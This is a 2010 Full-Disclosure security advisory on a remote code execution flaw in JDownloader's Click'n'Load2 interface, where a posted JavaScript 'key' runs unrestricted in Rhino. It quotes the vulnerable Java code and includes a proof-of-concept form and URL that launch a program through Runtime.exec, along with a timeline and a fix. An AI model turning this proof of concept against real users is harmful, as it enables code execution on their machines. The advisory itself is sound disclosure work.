JDownloader support suffer from a code execution vulnerability.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
- -- Product
JDownloader[1] is an open source download manager for One-Click-
Filehoster like Rapidshare or Megaupload. The Click'n'Load[2] interface
allows external applications and websites to send URLs to the local
running JDownloader. With Click'n'Load2 [3] it is possible to sent
AES-CBC encrypted URLs (for some kind of link 'obfuscation').
The encrypted payload _and_ key are sent with an HTTP-POST submit on
localhost port 9666 (default port, listening on any(0.0.0.0)).
[1] http://jdownloader.org/
[2] http://jdownloader.org/knowledge/wiki/glossary/click-n-load
[3] http://jdownloader.org/knowledge/wiki/glossary/cnl2
- -- Vulnerability
The transmitted key can be plaintext or javascript code that is then
executed by JDownloader with the Mozilla Rhino Javascript
implementation. Here is the code for this: (plugins/
JDExternInterface.jar / JDExternInterface.java)
String jk = Encoding.urlDecode(request.getParameters().get("jk"), false);
[...]
Context cx = Context.enter();
Scriptable scope = cx.initStandardObjects();
String fun = jk + " f()";
Object result = cx.evaluateString(scope, fun, "<cmd>", 1, null);
key = JDHexUtils.getByteArray(Context.toString(result));
Context.exit();
The Default Context that is initialized here, allows the javascript to
execute without any security restrictions. The javascript can import and
use any java library resulting in an remote code execution flaw.
After the form data is sent, JDownloader will, depending on transmitted
_Referer/Source and/or User-Agent_, ask for permission to add Links from
external Website/Application, the code is executed after the user
confirms.
- -- Affected Versions
All versions prior 2010-01-25 (with Click'n'Load 2 support) are
vulnerable. (Release version 0.9.334)
- -- Solutions
Update JDownloader to the newest version with the Autoupdate/Webupdate.
I recommend to disable the remote interface (FlashGot for Firefox)
in the "AddOn Manager" configuration.
- -- Timeline
2010-01-25 - Vulnerability reported to vendor
2010-01-25 - Vendor security fix via autoupdate
2010-02-08 - Public Disclosure
- -- Proof of Concept
<form action="http://localhost:9666/flash/addcrypted2" method="post">
<textarea name="jk">
function f() {
var run = java.lang.Runtime.getRuntime();
run.exec('/usr/bin/xclock');
return '42';
}
</textarea>
<input type="hidden" name="passwords" value="invalid" />
<input type="hidden" name="source" value="http://example.com/invalid" />
<input type="hidden" name="crypted" value="invalid" />
<input type="submit" value="CLICK" />
</form>
or:
http://localhost:9666/flash/addcrypted2?jk=function+f()+%7B+var+run+%3D
+java.lang.Runtime.getRuntime()%3B+run.exec('%2Fusr%2Fbin%2Fxclock')%3B
+return+'42'%3B+%7D&passwords=invalid&source=http://example.com/invalid
&crypted=invalid
- -- Conclusion
It seems that this is a common misuse of the Rhino JavaScript[1]
library, that is dangerous whenever arbitrary JavaScript is executed.
There many other libraries and applications may vulnerable to this kind
of vulnerability.
[1] http://www.mozilla.org/rhino/
- --
(a) (p)roof (o)f (c)oncept ..
http://apoc.sixserv.org/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
iEYEARECAAYFAktv1TEACgkQWlhozqFVuMt4NACffRjgnf/2p4sP4XlvBSrjXDdr
FSEAn3+6nlkAzdv47a7YnuPgNc+xo957
=tPlp
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
다양한 언어의 JSONJSON은 Javascript 표기법을 사용하여 데이터 구조를 레이아웃하는 데이터 형식입니다. 그러나 Javascript가 코드에서 이러한 구조를 나타낼 수 있는 유일한 언어는 아닙니다. 저는 일반적으로 '객체'{}...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.